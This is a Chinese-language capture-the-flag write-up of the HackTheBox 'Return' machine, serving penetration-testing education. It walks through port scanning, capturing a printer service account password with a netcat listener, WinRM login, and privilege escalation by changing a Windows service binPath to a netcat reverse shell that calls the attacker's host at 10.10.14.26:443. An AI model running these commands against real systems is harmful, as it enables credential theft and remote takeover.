> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md).

# Return HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Return>" %}

{% hint style="warning" %}
**技能：**

* 网络打印机滥用
* 滥用服务器操作员组
* 服务配置处理
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/5bba27ce4ac1fb68d2083930ac1cf7b47051db95" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/5d08c79bd014044ebff8a2c2737a1c152e9afbb2" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.108 -oG allPorts
```

<figure><img src="/files/4cb4b724456d3609457fe2b97ba7e060284b6b9a" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/42e0d73b64953790e3c5c7f9b54c043d0c898d8d" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49679,49682,4969 10.10.11.108 -oN targeted
```

<figure><img src="/files/d03129daa7f67728bf068983bd107cdbbeb42446" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件

<figure><img src="/files/cf5c2d94b52bfbe2ef60a1e0216738ef2ee2964e" alt="" width="563"><figcaption></figcaption></figure>

#### 80端口：

<figure><img src="/files/ce6a17701e52dab5ad95a277d9e111e5398ab266" alt=""><figcaption></figcaption></figure>

## 网络打印机滥用

在80端口设置中，发现一个指向 `print.return.local` 通过389端口的服务器配置。

<figure><img src="/files/f922d826b0c6be6ee186d86aa7eac6cf1c2f18a7" alt=""><figcaption></figcaption></figure>

**监听389端口**/ 通过放置 `netcat` 在389端口上

```bash
nc -nlvp 389
```

* 收到一个连接，泄露了一个 `svc-printer` 用户的 `1edFg43012!!` 密码。

<figure><img src="/files/3146f9b43f9f85e64d9c2a191611202a85c8850e" alt="" width="542"><figcaption></figcaption></figure>

**使用WinRM进行身份验证**

由于WinRM端口（5985）开放，使用 `crackmapexec`:

```bash
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
```

* “pwned”回答确认了凭据有效。

<figure><img src="/files/6b593bd483c3c527e98f660377d66f6d9ca12932" alt=""><figcaption></figcaption></figure>

**通过Evil-WinRM登录**

使用 `evil-winrm` 以获取一个shell会话，使用 `svc-printer`:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
</strong></code></pre>

<figure><img src="/files/c4a12f0babb4e3bce9613c3e6a2aabf26efbd7b1" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/c58897d6bcff592cfdc494bb37ac07a078301c2f" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升（完整性级别）：

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/integrity-levels>" %}

**成员组审计**/ 该 `whoami /groups` 命令表明该用户属于 `Mandatory Label/High Mandatory Level` 组，因此可以管理这些服务。

<figure><img src="/files/b8e314a59a5fff4f59b33c80e6a40f066ddae9b0" alt=""><figcaption></figcaption></figure>

**用于权限提升的服务操控**/ 用户可以潜在地修改某个服务并重启它，以更高权限执行命令。

<figure><img src="/files/4c5fe6dcfd1316f57c78910c0db7a35e4cb144e2" alt=""><figcaption></figcaption></figure>

**创建服务**/ 尝试使用 `sc.exe`创建一个shell反向服务，但没有必要的权限：

<pre class="language-powershell"><code class="lang-powershell"><strong>sc.exe create reverse binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
</strong></code></pre>

<figure><img src="/files/960437851f9780c7744f84362842aa078a205cf7" alt=""><figcaption></figcaption></figure>

**修改VMTools服务**/ 要操作现有服务， `nc.exe` 被传输到目标机器，然后 `VMTools` 服务被修改为运行shell反向：

* **Netcat传输**

```bash
cp /home/jordan/Desktop/htb/artic/scripts/netcat/nc.exe .
```

```powershell
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

<figure><img src="/files/e3eff106c2ad06d3b3432ff777e0d90423cd9e80" alt=""><figcaption></figcaption></figure>

这里的思路是将某个服务的可执行文件重定向为执行shell反向命令，如果该服务以 `SYSTEM` 权限运行，你就可能获得一个高权限会话。

```powershell
sc.exe config VMTools binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
```

<figure><img src="/files/5e059f462aff9e9a9521c1a5492dbaca5d20eee9" alt=""><figcaption></figcaption></figure>

**重启服务**/ 配置完成后，重启服务以启动shell：

<pre class="language-powershell"><code class="lang-powershell">sc.exe stop VMTools
<strong>sc.exe start VMTools
</strong></code></pre>

监听443端口以接收传入连接：

```bash
sudo rlwrap nc -nlvp 443
```

<figure><img src="/files/a017f4bf3c22599eff342b77adb6266bda29a4c3" alt=""><figcaption></figcaption></figure>

### root 的 flag :)

<figure><img src="/files/3c8f12047588c629e8f996cb3d9cfd3d3d2bc68a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/171adb1f2a2e7522cfc278040eaaeaeaf6db6663" alt="" width="536"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
